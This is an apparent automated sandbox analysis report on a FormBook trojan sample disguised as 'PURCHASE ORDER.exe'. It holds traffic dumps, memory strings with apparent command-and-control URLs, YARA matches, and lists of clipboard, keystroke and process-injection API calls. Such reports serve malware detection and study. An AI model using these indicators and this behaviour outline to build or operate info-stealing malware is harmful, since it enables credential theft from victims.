09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:46 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:49 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 13:17:51 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound">
            Source: mMtRNEqhUF.exe, 00000004.00000002.3899320408.0000000002564000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.selftip.top
            Source: mMtRNEqhUF.exe, 00000004.00000002.3899320408.0000000002564000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.selftip.top/85su/
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000006FD0000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.0000000004350000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000007162000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.00000000044E2000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033JTF
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: TapiUnattend.exe, 00000005.00000003.2646469989.000000000784B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000006FD0000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.0000000004350000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.tech
            Source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000006FD0000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.0000000004350000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.zoho.com/sites/images/professionally-crafted-themes.png
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Initial sample is a PE file and has a suspicious name
            Source: initial sampleStatic PE information: Filename: PURCHASE ORDER.exe
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C683 NtClose,2_2_0042C683
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72B60 NtClose,LdrInitializeThunk,2_2_03A72B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03A72DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_03A72C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,2_2_03A735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A74340 NtSetContextThread,2_2_03A74340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A74650 NtSuspendThread,2_2_03A74650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BA0 NtEnumerateValueKey,2_2_03A72BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72B80 NtQueryInformationFile,2_2_03A72B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BE0 NtQueryValueKey,2_2_03A72BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BF0 NtAllocateVirtualMemory,2_2_03A72BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AB0 NtWaitForSingleObject,2_2_03A72AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AF0 NtWriteFile,2_2_03A72AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AD0 NtReadFile,2_2_03A72AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FA0 NtQuerySection,2_2_03A72FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FB0 NtResumeThread,2_2_03A72FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F90 NtProtectVirtualMemory,2_2_03A72F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FE0 NtCreateFile,2_2_03A72FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F30 NtCreateSection,2_2_03A72F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F60 NtCreateProcessEx,2_2_03A72F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72EA0 NtAdjustPrivilegesToken,2_2_03A72EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72E80 NtReadVirtualMemory,2_2_03A72E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72EE0 NtQueueApcThread,2_2_03A72EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72E30 NtWriteVirtualMemory,2_2_03A72E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DB0 NtEnumerateKey,2_2_03A72DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DD0 NtDelayExecution,2_2_03A72DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D30 NtUnmapViewOfSection,2_2_03A72D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D00 NtSetInformationFile,2_2_03A72D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D10 NtMapViewOfSection,2_2_03A72D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CA0 NtQueryInformationToken,2_2_03A72CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CF0 NtOpenProcess,2_2_03A72CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CC0 NtQueryVirtualMemory,2_2_03A72CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C00 NtQueryInformationProcess,2_2_03A72C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C60 NtCreateKey,2_2_03A72C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73090 NtSetValueKey,2_2_03A73090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73010 NtOpenDirectoryObject,2_2_03A73010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A739B0 NtGetContextThread,2_2_03A739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73D10 NtOpenProcessToken,2_2_03A73D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73D70 NtOpenThread,2_2_03A73D70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03044340 NtSetContextThread,LdrInitializeThunk,5_2_03044340
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03044650 NtSuspendThread,LdrInitializeThunk,5_2_03044650
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042B60 NtClose,LdrInitializeThunk,5_2_03042B60
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042BA0 NtEnumerateValueKey,LdrInitializeThunk,5_2_03042BA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03042BE0 NtQueryValueKey,LdrInitializeThunk,5_2_03042BE0
